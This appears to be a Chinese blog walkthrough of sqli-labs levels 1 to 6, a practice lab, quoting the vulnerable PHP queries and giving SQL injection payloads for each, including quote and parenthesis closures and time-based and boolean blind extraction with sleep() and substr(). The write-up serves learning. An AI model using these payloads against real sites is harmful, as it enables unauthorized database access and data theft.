sqli-labs记录

1.Less-1

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

id作为传参变量,在代码审计中发现传入的id简单拼接后带入sql查询,所以有注入点。

先用 ’ 尝试,报错显示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' LIMIT 0,1' at line 1

所以猜测可能采用了’ 或" 进行闭合,第一步尝试用 ’ 构造payload

?id=1' and 1=1--+

尝试成功,页面正常返回,所以可以确定是采用了 ’ 闭合,所以构造payload时将’ 闭合即可。

2.Less-2

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

代码审计发现,获得的id原封不动的传入拼接后带入数据库查询,所以有注入点

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

构造payload:

?id=1 and 1=1
?id=1 and 1=2

两次返回结果不同,所以有注入点。

3.Less-3

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

通过代码审计,脚本对传入的id进行了添加(’’)。

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

构造报错:

?id='

显示如下界面:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') LIMIT 0,1' at line 1

可以猜测有’或"加()的闭合,所以构造闭合:
构造payload:

?id=1' and 1=1--+
或者
?id=1' and 1=1#

4.Less-4

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

通过代码审计,发现传入的id进行了" "的封装,在拼接sql语句时,又拼接了():

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

构造报错:

?id="

显示如下界面:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '""") LIMIT 0,1' at line 1 

所以可以猜测有’或"的加()的存在,所以需要构造闭合。

构造payload:

?id=1") and 1=1--+
或
?id=1") and 1=1#

5.Less-5

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

通过代码审计,发现对查询的变量只有You are in…的输出结果。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="3" color="#FFFF00">';
	print_r(mysql_error());
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

所以本关采用盲注思路,盲注一般有两种思路,第一种是基于时间的盲注,第二种是布尔型盲注。

可以利用substr()函数来截断,通过盲注来获得值。

基于时间的盲注:
构造payload:

id=1' and if(length(database())=8,sleep(5),1)--+ 

通过浏览器的返回时间,判断数据库名的长度,从1开始尝试,直到8时有5秒延迟,所以确定数据库长度为8。
所以下一步盲注数据库名称,利用substr()函数。

构造payload:

id=1' and if(substr(database(),1,1)='a',sleep(5),1)--+ 

通过爆破可以得出数据库的第一个字母为s,所以继续爆破可以得出其他的字母,从而得出完整数据库。

基于布尔的盲注:
构造payload:

?id=1' and substr(database(),1,1)='s'--+

提示You are in…则表示正确,可以采用爆破来获得。

6.Less-6

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

与第五关的思路相同,不同点在于脚本中对sql语句的拼接添加了" "号,所以注入时需要采用"来闭合sql语句,从而注入。

7.Less-7


Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

待后续更新。。。。

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

祖哥的小弟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值